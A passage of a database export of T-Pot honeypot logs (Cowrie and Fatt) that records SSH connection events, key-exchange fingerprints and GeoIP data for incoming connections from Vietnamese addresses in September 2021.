23543	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.389869+03	2021-09-20 14:15:07.64247+03	{"_id": "NAbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "12a17984d875", "@version": "1", "timestamp": "2021-09-20T11:07:36.389869Z", "@timestamp": "2021-09-20T11:07:36.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23544	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:36.46587+03	2021-09-20 14:15:07.644471+03	{"_id": "NgbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "509dac389da3", "@version": "1", "duration": 2.8222599029541016, "timestamp": "2021-09-20T11:07:36.465870Z", "@timestamp": "2021-09-20T11:07:36.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23545	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:36.888319+03	2021-09-20 14:15:07.64547+03	{"_id": "OgbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 12 seconds", "session": "46d0f8feaeba", "@version": "1", "duration": 12.110032081604004, "timestamp": "2021-09-20T11:07:36.888319Z", "@timestamp": "2021-09-20T11:07:36.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23556	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:37.348341+03	2021-09-20 14:15:07.65947+03	{"_id": "ZgbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:53020 (192.168.176.2:22) [session: 68b21819a812]", "session": "68b21819a812", "@version": "1", "protocol": "ssh", "src_port": 53020, "dest_port": 22, "timestamp": "2021-09-20T11:07:37.348341Z", "@timestamp": "2021-09-20T11:07:37.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23546	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.398761+03	2021-09-20 14:15:07.646487+03	{"_id": "SAbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "eec7c94161cf", "@version": "1", "timestamp": "2021-09-20T11:07:36.398761Z", "@timestamp": "2021-09-20T11:07:36.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23547	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.467118+03	2021-09-20 14:15:07.64747+03	{"_id": "SQbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "83bf82c52ce8", "@version": "1", "timestamp": "2021-09-20T11:07:36.467118Z", "@timestamp": "2021-09-20T11:07:36.467Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23548	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.598471+03	2021-09-20 14:15:07.64947+03	{"_id": "SgbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "70d5de51c536", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:36.598471Z", "@timestamp": "2021-09-20T11:07:36.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23549	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:36.600716+03	2021-09-20 14:15:07.65047+03	{"_id": "FwbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60716, "timestamp": "2021-09-20T11:07:36.600716", "@timestamp": "2021-09-20T11:07:36.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23550	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.779753+03	2021-09-20 14:15:07.651471+03	{"_id": "TAbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "dedbc5d5098d", "@version": "1", "duration": 2.7166497707366943, "timestamp": "2021-09-20T11:07:36.779753Z", "@timestamp": "2021-09-20T11:07:36.779Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23551	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:36.694969+03	2021-09-20 14:15:07.65247+03	{"_id": "GQbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43628, "timestamp": "2021-09-20T11:07:36.694969", "@timestamp": "2021-09-20T11:07:36.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23552	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:36.695848+03	2021-09-20 14:15:07.653471+03	{"_id": "GgbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 